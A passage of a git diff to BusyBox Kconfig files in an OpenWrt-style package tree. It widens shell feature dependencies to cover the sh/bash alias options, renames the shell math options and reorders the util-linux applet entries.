 	bool "bash-compatible extensions"
 	default BUSYBOX_DEFAULT_ASH_BASH_COMPAT
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable bash-compatible extensions.
 
 config BUSYBOX_CONFIG_ASH_IDLE_TIMEOUT
 	bool "Idle timeout variable"
 	default BUSYBOX_DEFAULT_ASH_IDLE_TIMEOUT
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enables bash-like auto-logout after $TMOUT seconds of idle time.
 
 config BUSYBOX_CONFIG_ASH_JOB_CONTROL
 	bool "Job control"
 	default BUSYBOX_DEFAULT_ASH_JOB_CONTROL
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable job control in the ash shell.
 
 config BUSYBOX_CONFIG_ASH_ALIAS
 	bool "Alias support"
 	default BUSYBOX_DEFAULT_ASH_ALIAS
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable alias support in the ash shell.
 
 config BUSYBOX_CONFIG_ASH_GETOPTS
 	bool "Builtin getopt to parse positional parameters"
 	default BUSYBOX_DEFAULT_ASH_GETOPTS
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for getopts builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_ECHO
 	bool "Builtin version of 'echo'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_ECHO
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for echo builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_PRINTF
 	bool "Builtin version of 'printf'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_PRINTF
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for printf builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_BUILTIN_TEST
 	bool "Builtin version of 'test'"
 	default BUSYBOX_DEFAULT_ASH_BUILTIN_TEST
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for test builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_HELP
 	bool "help builtin"
 	default BUSYBOX_DEFAULT_ASH_HELP
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable help builtin in ash.
 
 config BUSYBOX_CONFIG_ASH_CMDCMD
 	bool "'command' command to override shell builtins"
 	default BUSYBOX_DEFAULT_ASH_CMDCMD
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable support for the ash 'command' builtin, which allows
 	  you to run the specified command with the specified arguments,
@@ -92,37 +179,9 @@ config BUSYBOX_CONFIG_ASH_CMDCMD
 config BUSYBOX_CONFIG_ASH_MAIL
 	bool "Check for new mail on interactive shells"
 	default BUSYBOX_DEFAULT_ASH_MAIL
-	depends on BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
 	help
 	  Enable "check for new mail" function in the ash shell.
-
-config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
-	bool "Optimize for size instead of speed"
-	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  Compile ash for reduced size at the price of speed.
-
-config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
-	bool "Pseudorandom generator and $RANDOM variable"
-	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  Enable pseudorandom generator and dynamic variable "$RANDOM".
-	  Each read of "$RANDOM" will generate a new pseudorandom value.
-	  You can reset the generator by using a specified start value.
-	  After "unset RANDOM" the generator will switch off and this
-	  variable will no longer have special treatment.
-
-config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
-	bool "Expand prompt string"
-	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
-	depends on BUSYBOX_CONFIG_ASH
-	help
-	  "PS#" may contain volatile content, such as backquote commands.
-	  This option recreates the prompt string from the environment
-	  variable each time it is displayed.
-
 config BUSYBOX_CONFIG_CTTYHACK
 	bool "cttyhack"
 	default BUSYBOX_DEFAULT_CTTYHACK
@@ -183,7 +242,7 @@ config BUSYBOX_CONFIG_HUSH
 config BUSYBOX_CONFIG_HUSH_BASH_COMPAT
 	bool "bash-compatible extensions"
 	default BUSYBOX_DEFAULT_HUSH_BASH_COMPAT
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable bash-compatible extensions.
 
@@ -197,14 +256,14 @@ config BUSYBOX_CONFIG_HUSH_BRACE_EXPANSION
 config BUSYBOX_CONFIG_HUSH_HELP
 	bool "help builtin"
 	default BUSYBOX_DEFAULT_HUSH_HELP
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable help builtin in hush. Code size + ~1 kbyte.
 
 config BUSYBOX_CONFIG_HUSH_INTERACTIVE
 	bool "Interactive mode"
 	default BUSYBOX_DEFAULT_HUSH_INTERACTIVE
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable interactive mode (prompt and command editing).
 	  Without this, hush simply reads and executes commands
@@ -232,35 +291,35 @@ config BUSYBOX_CONFIG_HUSH_JOB
 config BUSYBOX_CONFIG_HUSH_TICK
 	bool "Process substitution"
 	default BUSYBOX_DEFAULT_HUSH_TICK
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable process substitution `command` and $(command) in hush.
 
 config BUSYBOX_CONFIG_HUSH_IF
 	bool "Support if/then/elif/else/fi"
 	default BUSYBOX_DEFAULT_HUSH_IF
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable if/then/elif/else/fi in hush.
 
 config BUSYBOX_CONFIG_HUSH_LOOPS
 	bool "Support for, while and until loops"
 	default BUSYBOX_DEFAULT_HUSH_LOOPS
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable for, while and until loops in hush.
 
 config BUSYBOX_CONFIG_HUSH_CASE
 	bool "Support case ... esac statement"
 	default BUSYBOX_DEFAULT_HUSH_CASE
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable case ... esac statement in hush. +400 bytes.
 
 config BUSYBOX_CONFIG_HUSH_FUNCTIONS
 	bool "Support funcname() { commands; } syntax"
 	default BUSYBOX_DEFAULT_HUSH_FUNCTIONS
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable support for shell functions in hush. +800 bytes.
 
@@ -274,7 +333,7 @@ config BUSYBOX_CONFIG_HUSH_LOCAL
 config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
 	bool "Pseudorandom generator and $RANDOM variable"
 	default BUSYBOX_DEFAULT_HUSH_RANDOM_SUPPORT
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable pseudorandom generator and dynamic variable "$RANDOM".
 	  Each read of "$RANDOM" will generate a new pseudorandom value.
@@ -282,14 +341,14 @@ config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
 config BUSYBOX_CONFIG_HUSH_EXPORT_N
 	bool "Support 'export -n' option"
 	default BUSYBOX_DEFAULT_HUSH_EXPORT_N
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  export -n unexports variables. It is a bash extension.
 
 config BUSYBOX_CONFIG_HUSH_MODE_X
 	bool "Support 'hush -x' option and 'set -x' command"
 	default BUSYBOX_DEFAULT_HUSH_MODE_X
-	depends on BUSYBOX_CONFIG_HUSH
+	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This instructs hush to print commands before execution.
 	  Adds ~300 bytes.
@@ -302,72 +361,17 @@ config BUSYBOX_CONFIG_MSH
 	  msh is deprecated and will be removed, please migrate to hush.
 
 
-
-choice
-	prompt "Choose which shell is aliased to 'sh' name"
-	default BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
-	help
-	  Choose which shell you want to be executed by 'sh' alias.
-	  The ash shell is the most bash compatible and full featured one.
-
-# note: cannot use "select ASH" here, it breaks "make allnoconfig"
-config BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
-	depends on BUSYBOX_CONFIG_ASH
-	bool "ash"
-	depends on !BUSYBOX_CONFIG_NOMMU
-
-config BUSYBOX_CONFIG_FEATURE_SH_IS_HUSH
-	depends on BUSYBOX_CONFIG_HUSH
-	bool "hush"
-
-config BUSYBOX_CONFIG_FEATURE_SH_IS_NONE
-	bool "none"
-
-endchoice
-
-choice
-	prompt "Choose which shell is aliased to 'bash' name"
-	default BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
-	help
-	  Choose which shell you want to be executed by 'bash' alias.
-	  The ash shell is the most bash compatible and full featured one.
-
-	  Note that selecting this option does not switch on any bash
-	  compatibility code. It merely makes it possible to install
-	  /bin/bash (sym)link and run scripts which start with
-	  #!/bin/bash line.
-
-	  Many systems use it in scripts which use bash-specific features,
-	  even simple ones like $RANDOM. Without this option, busybox
-	  can't be used for running them because it won't recongnize
-	  "bash" as a supported applet name.
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_ASH
-	depends on BUSYBOX_CONFIG_ASH
-	bool "ash"
-	depends on !BUSYBOX_CONFIG_NOMMU
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_HUSH
-	depends on BUSYBOX_CONFIG_HUSH
-	bool "hush"
-
-config BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
-	bool "none"
-
-endchoice
-
-
-config BUSYBOX_CONFIG_SH_MATH_SUPPORT
+config BUSYBOX_CONFIG_FEATURE_SH_MATH
 	bool "POSIX math support"
-	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT
-	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH
+	default BUSYBOX_DEFAULT_FEATURE_SH_MATH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Enable math support in the shell via $((...)) syntax.
 
-config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
+config BUSYBOX_CONFIG_FEATURE_SH_MATH_64
 	bool "Extend POSIX math support to 64 bit"
-	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
-	depends on BUSYBOX_CONFIG_SH_MATH_SUPPORT
+	default BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
+	depends on BUSYBOX_CONFIG_FEATURE_SH_MATH
 	help
 	  Enable 64-bit math support in the shell. This will make the shell
 	  slightly larger, but will allow computation with very large numbers.
@@ -376,14 +380,14 @@ config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
 config BUSYBOX_CONFIG_FEATURE_SH_EXTRA_QUIET
 	bool "Hide message on interactive shell startup"
 	default BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
-	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  Remove the busybox introduction when starting a shell.
 
 config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
 	bool "Standalone shell"
 	default BUSYBOX_DEFAULT_FEATURE_SH_STANDALONE
-	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option causes busybox shells to use busybox applets
 	  in preference to executables in the PATH whenever possible. For
@@ -416,7 +420,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
 config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
 	bool "Run 'nofork' applets directly"
 	default BUSYBOX_DEFAULT_FEATURE_SH_NOFORK
-	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option causes busybox shells to not execute typical
 	  fork/exec/wait sequence, but call <applet>_main directly,
@@ -434,7 +438,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
 config BUSYBOX_CONFIG_FEATURE_SH_HISTFILESIZE
 	bool "Use $HISTFILESIZE"
 	default BUSYBOX_DEFAULT_FEATURE_SH_HISTFILESIZE
-	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
+	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
 	help
 	  This option makes busybox shells to use $HISTFILESIZE variable
 	  to set shell history size. Note that its max value is capped
diff --git a/package/utils/busybox/config/sysklogd/Config.in b/package/utils/busybox/config/sysklogd/Config.in
index 5fcee2c..1f8f3cf 100644
--- a/package/utils/busybox/config/sysklogd/Config.in
+++ b/package/utils/busybox/config/sysklogd/Config.in
@@ -47,7 +47,6 @@ config BUSYBOX_CONFIG_LOGGER
 config BUSYBOX_CONFIG_LOGREAD
 	bool "logread"
 	default BUSYBOX_DEFAULT_LOGREAD
-	depends on BUSYBOX_CONFIG_FEATURE_IPC_SYSLOG
 	help
 	  If you enabled Circular Buffer support, you almost
 	  certainly want to enable this feature as well. This
diff --git a/package/utils/busybox/config/util-linux/Config.in b/package/utils/busybox/config/util-linux/Config.in
index 08bddf8..8df023c 100644
--- a/package/utils/busybox/config/util-linux/Config.in
+++ b/package/utils/busybox/config/util-linux/Config.in
@@ -6,222 +6,6 @@
 
 menu "Linux System Utilities"
 
-config BUSYBOX_CONFIG_BLKDISCARD
-	bool "blkdiscard"
-	default BUSYBOX_DEFAULT_BLKDISCARD
-	help
-	  blkdiscard discards sectors on a given device.
-config BUSYBOX_CONFIG_BLOCKDEV
-	bool "blockdev"
-	default BUSYBOX_DEFAULT_BLOCKDEV
-	help
-	  Performs some ioctls with block devices.
-config BUSYBOX_CONFIG_FATATTR
-	bool "fatattr"
-	default BUSYBOX_DEFAULT_FATATTR
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  fatattr lists or changes the file attributes on a fat file system.
-config BUSYBOX_CONFIG_FSTRIM
-	bool "fstrim"
-	default BUSYBOX_DEFAULT_FSTRIM
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Discard unused blocks on a mounted filesystem.
-config BUSYBOX_CONFIG_MDEV
-	bool "mdev"
-	default BUSYBOX_DEFAULT_MDEV
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  mdev is a mini-udev implementation for dynamically creating device
-	  nodes in the /dev directory.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	bool "Support /etc/mdev.conf"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
-	depends on BUSYBOX_CONFIG_MDEV
-	help
-	  Add support for the mdev config file to control ownership and
-	  permissions of the device nodes.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
-	bool "Support subdirs/symlinks"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	help
-	  Add support for renaming devices and creating symlinks.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
-	bool "Support regular expressions substitutions when renaming device"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
-	help
-	  Add support for regular expressions substitutions when renaming
-	  device.
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
-	bool "Support command execution at device addition/removal"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
-	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
-	help
-	  This adds support for an optional field to /etc/mdev.conf for
-	  executing commands when devices are created/removed.
-
-	  For more information, please see docs/mdev.txt
-
-config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
-	bool "Support loading of firmwares"
-	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
-	depends on BUSYBOX_CONFIG_MDEV
-	help
-	  Some devices need to load firmware before they can be usable.
-
-	  These devices will request userspace look up the files in
-	  /lib/firmware/ and if it exists, send it to the kernel for
-	  loading into the hardware.
-config BUSYBOX_CONFIG_MOUNT
-	bool "mount"
-	default BUSYBOX_DEFAULT_MOUNT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  All files and filesystems in Unix are arranged into one big directory
-	  tree. The 'mount' utility is used to graft a filesystem onto a
-	  particular part of the tree. A filesystem can either live on a block
-	  device, or it can be accessible over the network, as is the case with
-	  NFS filesystems. Most people using BusyBox will also want to enable
-	  the 'mount' utility.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
-	bool "Support option -f"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable support for faking a file system mount.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
-	bool "Support option -v"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable multi-level -v[vv...] verbose messages. Useful if you
-	  debug mount problems and want to see what is exactly passed
-	  to the kernel.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
-	bool "Support mount helpers"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable mounting of virtual file systems via external helpers.
-	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
-	  "obexfs -b00.11.22.33.44.55 /mnt"
-	  Also "mount -t sometype [-o opts] fs /mnt" will try
-	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
-	  The idea is to use such virtual filesystems in /etc/fstab.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
-	bool "Support specifying devices by label or UUID"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
-	depends on BUSYBOX_CONFIG_MOUNT
-	select BUSYBOX_CONFIG_VOLUMEID
-	help
-	  This allows for specifying a device by label or uuid, rather than by
-	  name. This feature utilizes the same functionality as blkid/findfs.
-	  This also enables label or uuid support for swapon.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
-	bool "Support mounting NFS file systems on Linux < 2.6.23"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
-	depends on BUSYBOX_CONFIG_MOUNT
-	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
-	select BUSYBOX_CONFIG_FEATURE_SYSLOG
-	help
-	  Enable mounting of NFS file systems on Linux kernels prior
-	  to version 2.6.23. Note that in this case mounting of NFS
-	  over IPv6 will not be possible.
-
-	  Note that this option links in RPC support from libc,
-	  which is rather large (~10 kbytes on uclibc).
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
-	bool "Support mounting CIFS/SMB file systems"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
-	depends on BUSYBOX_CONFIG_MOUNT
-	help
-	  Enable support for samba mounts.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
-	depends on BUSYBOX_CONFIG_MOUNT
-	bool "Support lots of -o flags in mount"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
-	help
-	  Without this, mount only supports ro/rw/remount. With this, it
-	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
-	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
-	  private, unbindable, rshared, rslave, rprivate, and runbindable.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
-	depends on BUSYBOX_CONFIG_MOUNT
-	bool "Support /etc/fstab and -a"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
-	help
-	  Support mount all and looking for files in /etc/fstab.
-
-config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
-	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
-	bool "Support -T <alt_fstab>"
-	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
-	help
-	  Support mount -T (specifying an alternate fstab)
-config BUSYBOX_CONFIG_NSENTER
-	bool "nsenter"
-	default BUSYBOX_DEFAULT_NSENTER
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Run program with namespaces of other processes.
-
-config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
-	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Support long options for the nsenter applet. This makes
-	  the busybox implementation more compatible with upstream.
-config BUSYBOX_CONFIG_REV
-	bool "rev"
-	default BUSYBOX_DEFAULT_REV
-	help
-	  Reverse lines of a file or files.
-config BUSYBOX_CONFIG_SETARCH
-	bool "setarch"
-	default BUSYBOX_DEFAULT_SETARCH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  The linux32 utility is used to create a 32bit environment for the
-	  specified program (usually a shell). It only makes sense to have
-	  this util on a system that supports both 64bit and 32bit userland
-	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
-config BUSYBOX_CONFIG_UEVENT
-	bool "uevent"
-	default BUSYBOX_DEFAULT_UEVENT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  uevent is a netlink listener for kernel uevent notifications
-	  sent via netlink. It is usually used for dynamic device creation.
-config BUSYBOX_CONFIG_UNSHARE
-	bool "unshare"
-	default BUSYBOX_DEFAULT_UNSHARE
-	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Run program with some namespaces unshared from parent.
-
 config BUSYBOX_CONFIG_ACPID
 	bool "acpid"
 	default BUSYBOX_DEFAULT_ACPID
@@ -244,7 +28,11 @@ config BUSYBOX_CONFIG_FEATURE_ACPID_COMPAT
 	depends on BUSYBOX_CONFIG_ACPID
 	help
 	  Accept and ignore compatibility options -g -m -s -S -v.
-
+config BUSYBOX_CONFIG_BLKDISCARD
+	bool "blkdiscard"
+	default BUSYBOX_DEFAULT_BLKDISCARD
+	help
+	  blkdiscard discards sectors on a given device.
 config BUSYBOX_CONFIG_BLKID
 	bool "blkid"
 	default BUSYBOX_DEFAULT_BLKID
@@ -261,7 +49,11 @@ config BUSYBOX_CONFIG_FEATURE_BLKID_TYPE
 	depends on BUSYBOX_CONFIG_BLKID
 	help
 	  Show TYPE="filesystem type"
-
+config BUSYBOX_CONFIG_BLOCKDEV
+	bool "blockdev"
+	default BUSYBOX_DEFAULT_BLOCKDEV
+	help
+	  Performs some ioctls with block devices.
 config BUSYBOX_CONFIG_DMESG
 	bool "dmesg"
 	default BUSYBOX_DEFAULT_DMESG
@@ -295,7 +87,12 @@ config BUSYBOX_CONFIG_FEATURE_DMESG_PRETTY
 	    <5>Linux version 2.6.17.4 .....
 	    <6>BIOS-provided physical RAM map:
 	    <6> BIOS-e820: 0000000000000000 - 000000000009f000 (usable)
-
+config BUSYBOX_CONFIG_FATATTR
+	bool "fatattr"
+	default BUSYBOX_DEFAULT_FATATTR
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  fatattr lists or changes the file attributes on a fat file system.
 config BUSYBOX_CONFIG_FBSET
 	bool "fbset"
 	default BUSYBOX_DEFAULT_FBSET
@@ -324,27 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FBSET_READMODE
 	  This option allows fbset to read the video mode database stored by
 	  default BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE /etc/fb.modes, which can be used to set frame buffer
 	  device to pre-defined video modes.
-
-config BUSYBOX_CONFIG_FDFLUSH
-	bool "fdflush"
-	default BUSYBOX_DEFAULT_FDFLUSH
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  fdflush is only needed when changing media on slightly-broken
-	  removable media drives. It is used to make Linux believe that a
-	  hardware disk-change switch has been actuated, which causes Linux to
-	  forget anything it has cached from the previous media. If you have
-	  such a slightly-broken drive, you will need to run fdflush every time
-	  you change a disk. Most people have working hardware and can safely
-	  leave this disabled.
-
 config BUSYBOX_CONFIG_FDFORMAT
 	bool "fdformat"
 	default BUSYBOX_DEFAULT_FDFORMAT
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  fdformat is used to low-level format a floppy disk.
-
 config BUSYBOX_CONFIG_FDISK
 	bool "fdisk"
 	default BUSYBOX_DEFAULT_FDISK
@@ -421,7 +203,6 @@ config BUSYBOX_CONFIG_FEATURE_FDISK_ADVANCED
 	  define arbitrary drive geometry, move the beginning of data in a
 	  partition, and similarly evil things. Unless you have a very good
 	  reason you would be wise to leave this disabled.
-
 config BUSYBOX_CONFIG_FINDFS
 	bool "findfs"
 	default BUSYBOX_DEFAULT_FINDFS
@@ -431,12 +212,23 @@ config BUSYBOX_CONFIG_FINDFS
 	  Prints the name of a filesystem with given label or UUID.
 	  WARNING:
 	  With all submodules selected, it will add ~8k to busybox.
-
 config BUSYBOX_CONFIG_FLOCK
 	bool "flock"
 	default BUSYBOX_DEFAULT_FLOCK
 	help
 	  Manage locks from shell scripts
+config BUSYBOX_CONFIG_FDFLUSH
+	bool "fdflush"
+	default BUSYBOX_DEFAULT_FDFLUSH
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  fdflush is only needed when changing media on slightly-broken
+	  removable media drives. It is used to make Linux believe that a
+	  hardware disk-change switch has been actuated, which causes Linux to
+	  forget anything it has cached from the previous media. If you have
